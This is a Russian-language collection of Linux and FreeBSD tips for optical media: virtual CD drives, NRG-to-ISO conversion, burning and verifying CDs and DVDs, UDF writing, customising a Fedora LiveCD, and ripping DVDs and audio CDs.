    Запускаем сервис (подгружается модуль ядра cdemu и запускается демон cdemud):
    
       sudo /etc/init.d/cdemu-daemon start
    
    Добавляем виртульный CD-ROM с номером 0 на основе образа file.iso:
    
       cdemu load 0 file.iso
    
    После добавления виртуальный CD-ROM доступен как устройство /dev/cdemu/0 
    Примонтируем его (для примера работы с устройством, в простейших случаях проще монтировать файл 
    напрямую через "-o loop", создание виртуального CDROM полезно в ситуациях когда локально 
    смонтировать невозможно: хитрые форматы, защищенные DVD, звуковые дорожки и т.п.):
    
       mount -t iso9660 /dev/cdemu/0 /mnt/cdrom
    
    
    Смотрим какие виртуальные CD-ROM подключены:
    
       cdemu -s или cdemu status
    
       Drive Loaded Comment
       0:     1   file.iso
    
    Отключаем созданное устройство:
    
       cdemu unload 0
    
    
    Начинающие пользователи могут обойтись и без манипуляций в командной строке.
    
    Устанавливаем GNOME виджет gCDemu:
       sudo apt-get install gcdemu
    
    Перезагружаем пользовательский сеанс в GNOME или выполняем 
    
       cdemud-daemon.session
    
    Добавляем виджет gCDemu на панель и через GUI интерфейс привязываем iso образ к
    виртуальному устройству.
    
     
    ----* Преобразование файлов в формате Nero (nrg) в ISO-образ   Автор: Karbofos  [комментарии]
     
    Иногда требуется в Linux записать на диск или получить доступ к содержимому 
    дисковых образов в формате Nero (*.nrg), без установки проприетарного ПО.
    
    Существует утилита nrg2iso, но её искать не обязательно, т.к. можно обойтись системной утилитой dd
    
    Применяем утилиту dd (программа для конвертирования и копирования файлов). 
    Единственное отличие формата Nero от ISO заключается в наличии "шапки" в 300 килобайт, 
    которая приклеивается Nero к ISO файлу. 
    
    Преобразование формата сводится к вызову команды:
    
       dd bs=1k if=image.nrg of=image.iso skip=300
    
    описание параметров:
    bs=1k : block size = 1kbyte / размер блока
    if=image.nrg : input file / файл-источник
    of=image.iso : output file / файл-результат
    skip=300 : пропустить 300 блоков
    
    Также, возможно смонтировать образ диска в формате Nero:
       mount image.nrg /path -o offset=$((1024*300))
    
    
    Обратное преобразование:
    
       dd if=/dev/zero of=image.nrg bs=1k count=300
       cat image.iso >> image.nrg
    
    count=300 : отсчитать 300 блоков
    if=/dev/zero : содержит бесконечное количество символов 0x00
    
    Отсутствие важной технической информации в первых 300 КБ образа Nero NRG
    подтверждается следующей командой:
    
       dd if=win2003_eng_sp2.nrg bs=1k count=300|hexdump -C
    
       00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
       *
       300+0 records in
       300+0 records out
       307200 bytes (307 kB) copied, 0.0194742 seconds, 15.8 MB/s
    0004b000
    
    Вероятно, там может быть информация о защите оригинального диска, но если ее нет в ISO, 
    то незачем ее "придумывать" для образа Nero NRG.
    
    Записать диск без предварительного сохранения подрезанного образа возможно так:
       dd if=image.nrg of=image.iso bs=1k skip=300 | cdrecord speed=2 -
    
    Команда cdrecord может быть заменена на любую присутствующию и подходящую, 
    например, на wodim, growisofs.
    
    Дополнение: для монтирования нестандартных форматов дисковых образов удобно
    использовать пакет fuseiso.
    Монитируем:
    
       fuseiso -p файл.nrg mnt_dir
    
    Отмонтируем:
    
       fusermount -u mnt_dir
    
     
    ----* Запись CD во FreeBSD без создания промежуточных ISO-файлов (доп. ссылка 1) (доп. ссылка 2)   Автор: Litos  [комментарии]
     
    Ставим порт /usr/ports/sysutils/cdrtools
    
    Пишем CD или DVD:
       mkisofs -RJD -jcharset=koi8-r /path/to/files | burncd -f /dev/acd0 -s 8 -e data - fixate
    
    Предварительно RW диск, для перезаписи, можно почистить командой:
       burncd -f /dev/acd0 blank
    
    Ключи mkisofs
    
    - R - создать Rock Ridge - расширение файловой системы ISO 9660, разработанное 
    для хранения файловых атрибутов, используемых в операционных системах POSIX
    
    -J - создать файловую систему Joliet (имена файлов длиннее 8.3, национальные символы в них и т.п.)
    
    -D - убрать ограничение на глубину вложенных директорий
    
    -jcharset=koi8-r - указываем кодировку имен файлов на диске, чтобы корректно 
    перекодировались в UCS-2 используемый в Joliet
    
    Ключи burncd
    
    -s 8 - скорость записи на диск (по умолчанию 4)
    
    -e - извлечь диск после записи
    
    data - тип данных
    
    - - получение данных с stdin
    
    fixate - закрыть сессию после записи.
    
    
    Для записи DVD+RW/-RW дисков ставим порт /usr/ports/sysutils/dvd+rw-tools
    
    Пишем:
       growisofs -Z /dev/acd0 -r -J -speed=8 /path/to/files
    
    Добавляем дополнительные файлы:
       growisofs -M /dev/acd0 -r -J -speed=8 /path/to/more_files
    
    
    Перекодирование DVD в DivX:
    Ставим порты: 
       /usr/ports/sysutils/vobcopy 
       /usr/ports/multimedia/mplayer
    
    Грабим содержимое DVD:
    
       mount /cdrom
       vobcopy /cdrom
    
    Перекодируем *.vob в DivX 4/5:
    
       cat *.vob | mencoder -o mymovie.avi \ 
            -oac mp3lame -lameopts br=192:vbr=2 \
            -ovc lavc -lavcopts vcodec=mpeg4:vhq:keyint=250 -vop pp lb -
    
    
    Для кодирования в DivX 3 в поле vcodec можно указать msmpeg4.
    
     
    ----* Как в Fedora Linux создать загрузочный USB Flash на базе ISO образа (доп. ссылка 1)   [комментарии]
     
    Создание загрузочного USB Flash на базе ISO образа, без форматирования 
    и потери сохраненных на Flash данных (ставится прямо в VFAT, используя свободное место) 
    
    Устанавливаем пакет livecd-tools
       yum  install livecd-tools
    
    Создаем загрузочный USB Flash (устройство /dev/sdb1)
       livecd-iso-to-disk livecd.iso /dev/sdb1 
    
    
    Возможные проблемы и их решения:
    
    
    Если программа выдала сообщение "Partition isn't marked bootable!", запускаем:
       parted /dev/sdb
    Выполняем команду print и смотрим номер раздела (если раздел один, то будет 1)
       Выполняем команду: toggle 1 boot
       Выходим из parted: quit
       Или в fdisk используем команду "a".
    
    Если программа выдала сообщение "Need to have a filesystem label or UUID for your USB device":
       dosfslabel /dev/sdb1 usbdisk
    вместо usbdisk можно указать любое имя, на ваше усмотрение.
    
    Если программа выдала сообщение "MBR appears to be blank", копируем образ MBR:
       cat /usr/lib/syslinux/mbr.bin > /dev/sdb
    
    Если fdisk -l /dev/sdb выдает "Partition has different physical/logical
    endings!" - нужно переформатировать Flash:
      Создаем в fdisk один primary раздел типа 6 (FAT)
      Форматируем: mkdosfs -n usbdisk /dev/sdb1
    
    
    Тестируем подготовленный загрузочный Flash:
       qemu -hda /dev/sdb1 -m 256 -std-vga
    
    Если при загрузке пишет: "SYSLINUX 3.xx ... EBIOS Load error - Boot error",
    нужно обновить пакет syslinux до версии 3.50 или выше.
    
     
    ----* Копирование DVD диска и преобразование в AVI   Автор: geekkoo  [комментарии]
     
    Я не касаюсь качества кодирования, тем более что в архиве есть заметка про
    двухпроходное кодирование.
    Берем DVD, монтируем его как файловую систему, и переносим содержимое 
    как файлы на диск. Очень удобно, если DVD невысокого качества и у него 
    время от времени возникают ошибки чтения. Если по несколько раз 
    монтировать/размонтировать плохой диск, то по частям удается скопировать 
    его полностью.
    
    mount /dev/dv /mnt/dvd
    cp /mnt/dvd /home/DVDrip
    
    В итоге, в файле /home/DVDrip появятся директории VIDEO_TS и AUDIO_TS. 
    После этого DVD можно проигрывать с жесткого диска командой:
    
       mplayer dvd:// -dvd-device /home/DVDrip
    
    Предположим, у диска есть несколько звуковых дорожек (с дубляжом и без) 
    и несколько субтитров (русские-английские). Задача - разодрать DVD на 
    два avi (с разными звуковыми дорожками, поскольку контейнер avi не 
    позволяет иметь одновременно несколько дорожек) и отдельно иметь русские 
    и английские субтитры.
    
    В первую очередь выясним размер черной рамки на DVD. 
    Для этого запустим DVD с середины и запустим автоматическое определение полей:
    
       mplayer dvd://1 -dvd-device ./ -vf cropdetect -ss 50:00
    
    Кодирование самого видео можно сделать с помощью двухпроходного 
    кодирования два раза для каждого из языков. При этом первый проход можно 
    сделать всего один раз (в итоге получится трёхпроходное кодирование):
    
       mencoder dvd:// -dvd-device /home/DVDrip -vf crop=688:320:24:130 -oac lavc -ovc lavc \
          -lavcopts vcodec=mpeg4:vhq:vqmin=2:autoaspect:v4mv:mbd=2:trell:vpass=1 -o /dev/null
    
    (единственный результат сего действа файл divx.log , используемый при 
    вторых проходах)
    
       mencoder dvd:// -dvd-device /home/DVDrip -alang=ru \
          -vf crop=688:320:24:130  -oac lavc -ovc lavc \
          -lavcopts vcodec=mpeg4:vhq:vqmin=2:autoaspect:v4mv:mbd=2:trell:vpass=1    -o out[ru].avi
    
       mencoder dvd:// -dvd-device /home/DVDrip -alang=en \
          -vf crop=688:320:24:130 -oac lavc -ovc lavc \ 
          -lavcopts vcodec=mpeg4:vhq:vqmin=2:autoaspect:v4mv:mbd=2:trell:vpass=2 -o out[en].avi
    
    (качества звука и видео я не касаюсь, пусть они будут на вашей совести)
    
    Т.е. теперь есть две авишки (out[ru].avi/out[en].avi) - с дубляжом и 
    без. 
    Я люблю смотреть заграничные фильмы без дубляжа, но поскольку не 
    слишком хорошо знаю язык, 
    то предпочитаю иметь перед глазами субтитры.
    
    Субтитры в формате vobsub выдрать из DVD легко, но они будут храниться в 
    виде картинок, а не текста. Их размер примерно 4-2 МБ. Если для вас это 
    некритично, 
    то можно остановится на этом, иначе можно попробовать их OCR-ить, что не слишком 
    легко организовать под Линуксом.
    
    Итак:
    
       mencoder -alang en -slang en -dvd-device /home/DVDrip dvd:// -ovc copy \
          -oac copy -o /dev/null -vobsubout subtitles-en
       mencoder -alang en -slang ru -dvd-device /home/DVDrip dvd:// -ovc copy \
          -oac copy -o /dev/null -vobsubout subtitles-ru
    
    В итоге получится по паре файлов с расширениями .sub и .idx
    
    Вообщем-то, не каждый медиа-проигрыватель понимает это формат, но с mplayer-ом
    в этом смысле всё в порядке:
    
       mplayer out[en].avi -vobsub subtitles-ru -spuaa 4 
    
    Заметьте, что в параметре vobsub субтитры должны быть указаны без расширения, 
    а spuaa включает интенсивное сглаживание субтитров.
    
     
    ----* Пакетная запись UDF в linux (доп. ссылка 1)   Автор: Vermus  [комментарии]
     
    Как писать UDF в режиме пакетной записи, при помощи программы udftools.
    
    1) В файле /etc/default/udftools раскомментировать 
        DEVICES="/dev/hd?" (у меня /dev/hdb)
    
    2) Вставляем диск.
    
    3) Форматируем RW. 
        #dvd+rw-format -f /dev/hdb
    
    4) Создаем на диске UDF fs
        #mkudffs /dev/hdb
    
    5) Запускам пакетную запись: 
        #/etc/init.d/udftools start
    
    6) Создать папку для монтирования: 
        # md /mnt/udf
    
    7) Монтируем диск (через пакетное устройство) 
        #mount -t udf -o utf8,noatime /dev/pktcdvd/0 /mnt/udf
    
    8) Используем диск как дискету
    
    9) Отмонтируем диск 
        #umount /mnt/udf
    
    10) Останавливаем пакетную запись: 
        #/etc/init.d/udftools stop
    
    11) eject
    
    После попыток записать файл более 1 Гб - он не прочитался.
    Эта ошибка решается компиляция нового ядра - последнее на данный момент 2.6.23. 
    Для этого при конфигурировании включаем поддержку UDF и поддержку пакетной записи. 
    Обновив ядро мы смело копируем диск UDF с файлом более 4 Гб.
    
     
    ----* Уменьшение размера стандартного LiveCD Fedora 7 (доп. ссылка 1)   [комментарии]
     
    Задача ужать стандартный GNOME-LiveCD Fedora7 до 400 Мб. 
    Ниже журнал действий.
    
    1. Извлекаем из iso образа LiveCD squashfs.img.
    
       mount -o loop ./Fedora-7-Live-i686.iso /mnt/cdrom
       копируем все в отдельную директорию директорию /mnt/disk/LiveCD/newcd
       umount /mnt/cdrom
    
    
    2. Монтируем squashfs.img и извлекаем из него os.img
    
       mount -o loop -t squashfs /mnt/disk/LiveCD/newcd/squashfs.img /mnt/cdrom
       копируем содержимое в /mnt/disk/LiveCD/new_ext3
       umount /mnt/cdrom
    
    
    3. Монтируем ext3 образ /mnt/disk/LiveCD/new_ext3/os.img
    
       mount -o loop /mnt/disk/LiveCD/new_ext3/os.img /mnt/disk/LiveCD/new_ext3/sysroot
    
    
    4. Удаляем лишнее и устанавливаем недостающее.
    
       chroot /mnt/disk/LiveCD/new_ext3/sysroot /bin/sh
       su -
       mount /proc
       mount /sys
       rm -rf /usr/share/doc
       в /usr/share/locale/ - оставляем только русские и английские локали
       cd /usr/share/icons; rm -rf Bluecurve gnome
       В /usr/share/pixmaps заменяем недостающее, чистим pixmaps/backgrounds/
       копируем свою фоновую картинку   
         cp  background.jpg /usr/share/gdm/themes/FedoraFlyingHigh
         cp  background.jpg /usr/share/backgrounds/images/default.jpg
        Чистим /usr/share/backgrounds
       Удаляем пакеты с китайскими шрифтами:
       rpm -e fonts-chinese fonts-arabic fonts-korean fonts-japanese
       Если rpm ругается, делаем "rpm --rebuilddb"
       Если нужно создать какие-то директории или произвести действия в момент старта livecd 
          правим fedora-live в /etc/rc.d/init.d
       Ставим желаемые пакеты, например, конфигуратор PPTP:
        rpm -Uvh http://pptpclient.sourceforge.net/yum/stable/fc7/pptp-release-current.noarch.rpm
        yum --enablerepo=pptp-stable install pptpconfig
       ....
       umount /proc
       umount /sys
    
    
    5. После приведения os.img в нужный вид, создаем новый пустой os.img и 
    копируем содержимое старого (нужно забить образ нулями, чтобы он лучше сжался, 
    иначе изменения будут только в метаданных и итоговый образ squashfs после
    сжатия получиться больше чем начальный).
    
       cd mnt/disk/LiveCD/new_ext3
       dd if=/dev/zero of=new_os.img bs=1k count=4096k
       /sbin/mkfs.ext3 -F -L "LiveCD" -m 1 new_os.img
       /sbin/tune2fs -c0 -i0 -Odir_index -ouser_xattr,acl new_os.img
    
       Монтируем новый образ
       mkdir /mnt/disk/LiveCD/new_ext3/new_sysroot
       mount -o loop ./new_os.img /mnt/disk/LiveCD/new_ext3/new_sysroot
    
       Копируем содержимое старого через rsync, чтобы сохранить расширенные атрибуты файлов.
       rsync -a -v --acls --xattrs --hard-links /mnt/disk/LiveCD/new_ext3/sysroot /mnt/disk/LiveCD/new_ext3/new_sysroot
    
       незабываем размонтировать и переименовать новый образ
       umount /mnt/disk/LiveCD/new_ext3/sysroot
       umount /mnt/disk/LiveCD/new_ext3/new_sysroot
       rm  /mnt/disk/LiveCD/new_ext3/new_sysroot
       mv /mnt/disk/LiveCD/new_ext3/new_os.img /mnt/disk/LiveCD/new_ext3/os.img
    
    
    6. Сжимаем ext3 образ
    
       rm /mnt/disk/LiveCD/newcd/squashfs.img
       cd /mnt/disk/LiveCD/new_ext3/
       /sbin/mksquashfs os.img sysroot /mnt/disk/LiveCD/newcd/squashfs.img
    
    
    7. Создаем iso образ для записи на CD:
    
       mkisofs -o ./live.iso -b isolinux/isolinux.bin -c isolinux/boot.cat -no-emul-boot -boot-load-size 4 \
         -boot-info-table -J -r -hide-rr-moved -V "Fedora-7-Live-i386" /mnt/disk/LiveCD/newcd/
    
      Если появится желание изменить метку диска Fedora-7-Live-i386, не забудьте поменять ее в isolinux/isolinux.cfg
    
     
    ----* Запись фалов 4Gb и более на DVD   Автор: Kroz  [комментарии]
     
    ISO9660 не позволяет писать файлы 4Gb и более. Потому про mkisofs можно забыть. 
    Используется файловая система UDF. Замечательно читается в более-менее последних версиях Windows.
    
    Для этого нам нужны udftools: http://sourceforge.net/projects/linux-udf/
    
    Алгоритм таков: создаем образ на жестком диске, копируем туда файл, записываем образ на DVD.
    
    Берем размер образа (в секторах) по следующей таблице:
    	DVD-R/DL = 4,171,712
    	DVD+R/DL = 4,173,824
    	DVD-R/SL = 2,298,496
    	DVD+R/SL = 2,295,104
    Размер сектора 2048 байт
    Возмем DVD+R/single layer для примера.
    
    Делаем образ:
       $ dd if=/dev/zero of=/mnt/data/image.udf bs=2048 count=2295104
    	
    Создаем файловую систему:
       mkudffs --lvid=Volume\ name /mnt/data/image.udf
    	
    Монтируем образ:
       sudo mount -o loop /mnt/data/image.udf /mnt/dvdimage
    	
    Аналогичная запись в fstab:
       /mnt/data/image.udf  /mnt/dvdimage   udf   noauto,rw,users,loop=/dev/loop0 0 0
    	
    Копируем файлы. Размонтируем образ.
    
    Записываем образ на диск:
    	
       growisofs -dvd-compat -Z /dev/dvd=/mnt/data/image.udf 
    
    Примечания:
     - Если не ошибаюсь, опиция -dvd-compat нужна только на DVD-R и не нужна на DVD+R. 
    Но проблем замечено не было, даже когда писалось с -dvd-compat на DVD+R.
    
     - Образ замечательно пишется каким-нибудь k3b, вот только проверить его неудастся (поскольку это не ISO 9660)
    
     - UDF поддерживает пользователей, права, хардлинки, и по-моему симлинки. 
    Так что можно использовать для бекапа. Вот только в Windows XP такие вещи интересно читаются: 
    хардлинки - просто файл копируется, а симлинки - создается файл нулевой длины
    
     - в Линуксе работа с udf (например просмотр директорий) происходит чуть медленнее, 
    с ISO9660, особенно если там хардлинки и симлинки.
    
     - САМОЕ ВАЖНОЕ: В ядрах 2.6.17 и выше, вы не сможете записать на UDF файл более 1Gb. 
    Поддержку больших файлов из UDF убрали мотивируя тем, что драйвер как-то портит
    что-то в памяти в ядре.
    Лично я глюков не заметил. Хоть у меня стоит 2.6.20, я держу 2.6.16.19 именно для того, 
    чтобы записывать большие файлы. Поскольку каждый раз перегружаться неудобно, 
    смотрю в сторону lguest http://www.opennet.ru/opennews/art.shtml?num=9698 http://lwn.net/Articles/218766/
    
     - используя UDF вы можете писать на DVD как на обычную дискету. См сюда: http://www.opennet.ru/base/sys/udf_cdrom.txt.html . Сам пробовал - получалось :)
    
    Примечание: вообще IMHO замечательная файловая система. И почему разработку udftools прекратили? 
    Может найдется кто-то из глубокоуважаемого Linux- общества, который продолжит благородное дело?
    
     
    ----* Как проверить целостность записи на CD/DVD (доп. ссылка 1)   Автор: Gnot  [комментарии]
     
    Предположим, на CD/DVD был записан образ sep2006.iso.
    
    Вычисляем для него контрольную сумму:
       $ cat sep2006.iso | md5sum
       cc363de222ba6fe7455258e72b6c26ca  -
    
    Определяем число записанных в iso 2048 блоков:
       $ echo $(( $(ls -l sep2006.iso | awk '{ print $5 }') / 2048 ))
       169383
       или после выполнения mkisofs запоминаем цифру в строке "169383 extents written (330 MB)"
    
    Вычисляем контрольную сумму записанного диска:
       $ dd if=/dev/hdc bs=2048 count=169383 | md5sum
       cc363de222ba6fe7455258e72b6c26ca  -
    
     
    ----* Восстановление "битого" iso образа при помощи rsync   Автор: greyork  [комментарии]
     

    В данном примере показано восстановление образа снятого с "криво" записанного диска FreeBSD 6.0.

    1. Находим при помощи гугла rsync-зеркала с интересующими нас образами. Для задачи из примера их список можно увидеть здесь.

    Выбираем ближайшие зеркала с отметкой rsync напротив адреса: ftp2.ru.freebsd.org и ftp5.ru.freebsd.org.

    2. Узнаем какие "модули" доступны у выбранных rsync-серверов при помощи команды:

    
         rsync -n -vv ftp2.ru.freebsd.org::
    
    

    Ответ - два слова FreeBSD, откуда заключаем, что имя интересующего нас модуля - FreeBSD. Для сервера ftp5.ru.freebsd.org узнать имя модуля таким способом не удастся - этот сервер возвращает в ответ только информацию "рекламного" характера. Пояснения к команде: ключ -n не позволяет утилите rsync загружать ничего; ключ -vv позволяет увидеть на экране больше информации о происходящем; два двоеточия после имени сервера обязательны (можно использовать вместо них rsync:// перед именем сервера, но это длиннее).

    3. Изучаем расположение каталогов и файлов на сервере:

    
         rsync -n -vv ftp2.ru.freebsd.org::FreeBSD/
    
    

    К предыдущей команде добавлено имя модуля и следующий за ним слэш (/). Слэш нужен для указания того, что необходимо отобразить листинг директории, а не ее саму. В результате выполнения команды можно увидеть, что файловая структура (в данном случае) повторяет расположение файлов на FTP-сервере. После чего определяем где лежат искомые образы (листаем интересующие нас каталоги) и продолжаем. К сожалению, у меня не получилось заставить работать ключик --list-only из man rsync и пришлось находить вышеописанный способ методом научного тыка.

    4. Предположим, что образ диска уже снят, например так:

    
         readcd dev=ATA:1,0,0 speed=8 -noerror f=/path/to/6.0-RELEASE-i386-disc1.iso
    
    

    (Подробности в man readcd) И контрольная сумма образа не совпадает с суммой образа с официального веб-сайта.

    5. Восстанавливаем образ командой:

    
         rsync --stats --progress -z -vv \
          ftp5.ru.freebsd.org::FreeBSD/ISO-IMAGES-i386/6.0/6.0-RELEASE-i386-disc1.iso \
          /path/to/freebsd/6.0-RELEASE-i386-disc1.iso \
    
    

    Пояснения к команде: -z желателен для сжатия передаваемой информации (действенность не проверял); --stats выводит после окончания подробную информацию о сделанном; --progress отображает процент выполнения текущей задачи.

    6. Убеждаемся, что сумма восстановленного образа совпадает с суммой образа с официального сайта.

    Данным методом я восстановил образы дисков с FreeBSD 6.0, записанных при помощи программы Nero добрым человеком с толстым каналом. readcd ругался на эти диски в самом конце каждого из них. Входящий трафик, в моем случае, для обоих дисков составил меньше 1 Mb.

     
    ----* Скрипт для упрощения монтирования CD-ROMа   Автор: Антон  [комментарии]
     
    Вот такой простой скрипт:
    
    #!/bin/sh
    retval=`/sbin/mount | grep /mnt/cdrom`
    if [ -n "$retval" ];
    then 	/sbin/umount /mnt/cdrom 1> /dev/null 2> /dev/null
    	if [ "$?" -ne 0 ]; 
    	    then echo "Не могу размонтировать CDROM"
    	else echo "Размонтировал CDROM"
    	eject /dev/cdrom	
    	fi
    else	/sbin/mount /dev/cdrom 1> /dev/null 2> /dev/null
    	if [ "$?" -ne 0 ];
    	    then echo "Не могу смонтировать CDROM"
    	else echo "Примонтировал CDROM"
    	fi	
    fi
    
    
    П.С. копируем в каталог /sbin под именем cdm. Сам определяет состояние
    
     
    ----* Работа с DVD-RAM во FreeBSD как с жестким диском (доп. ссылка 1)   Автор: proff  [комментарии]
     
    Решение такое:
    
    1. сборка и инсталляция ядра с устройствами:
       device scbus
       device atapicam
       device cd
       device pass
    
    2. создание файлов устройств cd0, cd1 с помощью /dev/MAKEDEV
    
    3. disklabel -rw cd1c auto
    
    4. newfs cd1c
    4.1. Можно включить softupdates: tunefs -n enable cd1 
    
    5. mount /dev/cd1c /mnt/dvdram
    
    Все. Скорость записи ~ 1.2 Mb/s. 
    
     
    ----* Правильное обращение и хранение CD и DVD дисков. (доп. ссылка 1)   [комментарии]
     
    -наклейки на диски вредны
    -для длительного хранения CD-R и DVD╠R лучше чем CD-RW и DVD+-RW;
    -диски хранить в Jewel-Cases стоймя (как книги) а не лёжа или в "шпинделях";
    -в темном, прохладном(4 C-20 C) и сухом месте.
    
     
    ----* Как создать загрузочный "multiboot" CD, с несколькими загружаемыми ОС.   [комментарии]
     
    mkisofs -b bsd_boot.img -no-emul-boot -c boot.catalog.bsd \
            -eltorito-alt-boot -b lnx_boot.img -c boot.catalog.lnx \
            -r -J -D -o cd.iso src_cd_dir
    
     
    ----* Пример записи DVD дисков. (доп. ссылка 1)   [комментарии]
     
    На 4.7 DVD влазит 4.377 Гб или 4482 Мб.
    
    cdrecord-ProDVD или dvdrtools (DVD-R/-RW):
       mkisofs -split-output -V "volume_ID" -D -l -L -N -R -J -v -o DVD.iso директория
       dvdrecord -dev=0,0,0 -speed=2 -eject -v DVD.iso*
    
    dvd+rw-tools (DVD+R/+RW и не нужно отдельно создавать образ, можно писать в UDF):
       growisofs -speed=2 -Z /dev/scd0 -D -l -L -N -R -J /some/files
       growisofs -speed=2 -M /dev/scd0 -D -l -L -N -R -J /more/files
    Для записи готового ISO образа:
       growisofs -dvd-compat -Z /dev/scd0=image.iso
    
     
    ----* Как примонтировать iso образ диска в FreeBSD 5.x   Автор: Insane  [комментарии]
     
    Для начала:
       mdconfig -a -t vnode -u0 -f /share/iso/slackware-9.0-install.iso
    затем
       mount -t cd9660 /dev/md0 /mnt/iso
    
    Обратный процесс:
       umount /dev/md0
       mdconfig -d -u0
    
    p.s. Может не работать если в ядре нет "device md"
    
     
    ----* Как принудительно понизить скорость вращения CD-ROM.   [комментарии]
     
    Linux:
       hdparm -E 8 /dev/cdrom
       mount -o speed=8 /dev/cdrom /mnt/cdrom
    FreeBSD:
       cdcontrol -f /dev/acd0c speed 8
       http://cdspeed.narod.ru/
    
     
    ----* Как примонтировать iso-образ CD диска в FreeBSD   [комментарии]
     
    В /boot/loader.conf добавляем vn_load="YES" или подгружаем руками kldload vn.ko
    Монтируем:
        vnconfig /dev/vn0c /home/user/cdrom.iso
        mount -t cd9660 /dev/vn0c /mnt
    Размонтируем:
        umount /mnt
        vnconfig -u /dev/vn0c
    
     
    ----* Как разрешить в FreeBSD монтировать CD-ROM обычным пользователям (доп. ссылка 1)   [комментарии]
     
    /etc/sysctl.conf:
       vfs.usermount=1
       vfs.generic.usermount=1
    mount -t cd9660  /dev/acd0c /home/user/cdrom
    chmod 644 /dev/acd0c
    
     
    ----* Как эмулировать в FreeBSD ATAPI CDROM в качестве SCSI устройства, для записи CD через cdrecord (доп. ссылка 1)   [обсудить]
     
    man atapicam, если FreeBSD старая, то см. ссылку.
    Ядро нужно пересобрать с
      device ata
      device atapicd # or atapifd or atapist
      device atapicam
      device scbus
      device pass
      device cd  # or sa or da
    
     
    ----* Как примонтировать в FreeBSD CD-ROM с русифицированной FS, чтобы русские буквы не выглядели как вопросительные знаки.   Автор: lavr  [комментарии]
     
    cd /usr/ports/sysutils/cd9660_unicode
    make && make install
    грузить модуль через
       kldload /lib/cd9660_unicode/cd9660_[unicode|koi8-r|iso-8859-5|cp866].ko
    
     
    ----* Как подготовить WAV файлы из MP3 для записи аудио CD. (доп. ссылка 1)   [комментарии]
     
           mpg123 --cdr file.cdr file.mp3
           cdrecord -v speed=4 dev=0,0,0 -pad -audio *.cdr
    Для группы файлов:
           find . -name "*.mp3" -exec mpg123 --cdr {}.cdr {} \;
    Если полученный wav файл не в формате "16 bit, stereo, 44100 Hz"
    (проверить можно: "file file.wav", обычно mpg123 осуществляет преобразование автоматически):
           mpg123 -w file.wav file.mp3
           sox file.wav -r 44100 file_new.wav
    Для нормализации громкости удобно использовать:
           normalize -m *.wav
    
     
    ----* Как размонтировать занятый неизвестным процессом CDROM   [комментарии]
     
    fuser -k -m /mnt/cdrom - убить процессы использующие /mnt/cdrom
    umount /mnt/cdrom
    
     
    ----* Как создать мультисессионный CD-R или CD-RW   [обсудить]
     
    Перед записью первой сессии на CD-RW его нужно очистить:
    	cdrecord -dev 0,0,0 blank=fast или blank=full
    Запись первой сессии 
    	создаем iso первой сессии:
    	mkisofs -V "volume_ID" -D -l -L -N -R -J -v -o 1.iso dir1
    	cdrecord -v speed=4 -dev=0,0,0 -multi 1.iso
    Записываем последующие сессии:
    	Получаем информацию о предыдущей сессии (для -C в mkisofs):
    	cdrecord -msinfo -dev=0,0,0
    	Создаем вторую директорию dir2 как dir1/dir2.
    	Создаем образ второй сессии:
    	mkisofs -M /dev/scd1 -C start_rec,end_rec -D -l -L -N -R -J -v -o cdrom.iso dir1
            Записываем на CD вторую сессию:
    	cdrecord -v speed=4 dev=0,0,0 -multi 2.iso
    PS. для некоторых приводов нужно писать cdrecord -multi -data
    
     
    ----* Как записать мультимедийный CD-R содержащий и музыку и данные.   [комментарии]
     
    Грабим звуковые треки с аудио CD:
    	cdda2wav -B -v255
    Записываем нужные звуковые треки на новый CD:
    	cdrecord -dev 0,0,0 -multi -audio file1 ..
    Создаем образ данных (вместо 0,0 результат выполнения cdrecord -msinfo):
    	mkisofs -C 0,0 -o cdrom.iso директория_с_данными
    Дописываем данные:
    	cdrecord -dev 0,0,0 -multi cdrom.iso 
    	или cdrecord -dev 0,0,0 -data cdrom.iso
    
     
    ----* Как преобразовать аудио-CD/wav в набор .MP3 файлов   [комментарии]
     
    Получить информацию о треках:
        cdparanoia -vsQ
    Записать все треки как WAV файлы:
        cdparanoia -B -s -w -S 24 --
    Преобразовать WAV в MP3:
        bladeenc -br 192 -delete -prio=HIGHEST *.wav
    или
        lame --preset standard  *.wav # рекомендуется, лучшее качество, br~192
        lame --preset fast standard  *.wav
        lame --preset 192  *.wav
        oggenc -q 10 -b 192 *.wav
    
     
    ----* Команды cdrecord полезные при записи CDROM   [комментарии]
     
    Создание ISO образа:
    
       mkisofs -V "volume_ID" -D -l -L -N -J -R -v -o cdrom.iso директория
    
    Пример записи образа на CD-R/RW диск:
    
       cdrecord -dev=0,1,0 -speed=4 -v cdrom.iso
       cdrecord dev=ATAPI:0,0,0 -v cdrom.iso
       wodim -dev=/dev/cdrw -speed=16 -eject -v cdrom.iso 
    
    где, 
       -speed=4 - скорость записи, 
       -v - вывод информации о процессе записи
       -dev=0,1,0 - записывающее устройство, определяется через cdrecord -scanbus, можно сразу указывать устройство, например, /dev/cdrw
       wodim - название модифицированной команды cdrecord в Debian/Ubuntu
    
    Чистка CD-RW перед записью:
       cdrecord -dev=/dev/cdrw -v blank=fast
    
    
    Для подключения IDE накопителя в старых Linux ядрах нужно было добавить в linux lilo 
       append="hdc=ide-scsi" 
    и включить в ядре поддержку эмуляции SCSI.
    
    
    
    Некоторые полезные опции.
       -toc -atip -prcap - выдать полную информацию о накопителе.
       -scanbus - определить параметры для -dev (можно /proc/scsi/scsi)
       -dummy - запись в режие тестирования (без реального прожигания диска).
       -fix - исправить недописавшийся диск.
       -eject - после записи вытащить CD
       -blank=all очистить CR-RW перед записью.
       -checkdrive - найти подходящий драйвер устройства, затем можно прописать в -driver=?
       -audio - запись аудио диска (см. cdda2wav).
       mkisofs -print-size - расчитать скролько потребуется места для записи директории.
       
    Создание ISO образа с CD/DVD диска (readom - вариант readcd в Debian/Ubuntu): 
    
       readcd dev=0,0,0 f=cdimage.raw                                                 
       readom dev=/dev/cdrw f=cdimage.raw   
    
    Создание wav-файлов из звукового CD:
    
       cdda2wav -S 32 -D /dev/cdrom -v 255 -B                                         
      
    Создание звукового CD из mp3:
                                                       
       find . -name "*.mp3" -exec mpg123 --cdr {}.cdr {} \;                            
       cdrecord -v speed=4 dev=0,0,0 -pad -audio *.cdr
    
     
    ----* Как создать ISO образ и 1 в 1 скопировать CD-ROM   [обсудить]
     
    mkisofs -b файл_с_образом_загрузочной_дискеты  \
      -c файл_куда_будет_помещен_boot.catalog \
      -d -N -D -R -J -T -V "название" -P "копирайт" \
      -o файл_куда_записать_образ \
      директория_с_корнем_создаваемого_образа
    
